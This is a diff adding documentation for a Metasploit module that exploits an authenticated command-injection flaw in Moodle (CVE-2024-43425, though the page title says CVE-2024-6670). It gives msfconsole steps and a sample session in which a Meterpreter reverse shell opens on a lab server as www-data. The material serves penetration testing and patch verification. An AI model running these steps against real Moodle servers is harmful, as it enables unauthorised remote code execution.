CVE-2024-6670

CVE-2024-6670

Author: h4x-x0r

documentation/modules/exploit/linux/http/moodle_rce.md

@@ -0,0 +1,101 @@
+## Vulnerable Application
+
+This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
+By default, the application will run in the context of www-data, so only a limited shell can be obtained.
+
+Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
+existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
+`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.
+
+Affected versions include:
+* 4.4 to 4.4.1
+* 4.3 to 4.3.5
+* 4.2 to 4.2.8
+* 4.1 to 4.1.11
+
+Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).
+
+The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
+available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).
+
+## Testing
+
+Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
+An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).
+
+**Successfully tested on**
+
+- Moodle v4.4.1 on Ubuntu 20.04 LTS
+
+## Verification Steps
+
+1. Deploy Moodle
+2. Start `msfconsole`
+3. `use exploit/linux/http/moodle_rce`
+4. `set USERNAME <USER>`
+5. `set PASSWORD <PASSWORD>`
+6. `set CMID <ID>`
+7. `set COURSEID <ID>`
+8. `set RHOSTS <IP>`
+9. `set LHOST <IP>`
+10. `exploit`
+
+## Options
+
+### USERNAME
+The username to authenticate with in Moodle.
+
+### PASSWORD
+The password for the user.
+
+### CMID
+The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
+(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).
+
+### COURSEID
+The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).
+
+## Scenarios
+
+Running the module against Moodle v4.4.1 should result in an output similar to the following:
+
+```
+msf6 > use exploit/linux/http/moodle_rce 
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
+USERNAME => testuser
+msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
+PASSWORD => iusldbf843498fKJASD
+msf6 exploit(linux/http/moodle_rce) > set CMID 2
+CMID => 2
+msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
+COURSEID => 2
+msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
+RHOSTS => 192.168.217.141
+msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
+LHOST => 192.168.217.128
+msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit 
+[*] Started reverse TCP handler on 192.168.217.128:4444 
+[*] Obtaining MoodleSession and logintoken...
+[+] Server reachable.
+[*] Authenticating as testuser...
+[*] Successfully authenticated.
+[*] Obtaining sesskey, courseContextId, and category...
+[*] Injecting command...
+[*] Sending stage (3045380 bytes) to 192.168.217.141
+[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
+[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
+[*] Exploit completed, but no session was created.
+msf6 exploit(linux/http/moodle_rce) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo 
+Computer     : 192.168.217.141
+OS           : Ubuntu 24.04 (Linux 6.8.0-41-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+  
+meterpreter > getuid 
+Server username: www-data
+```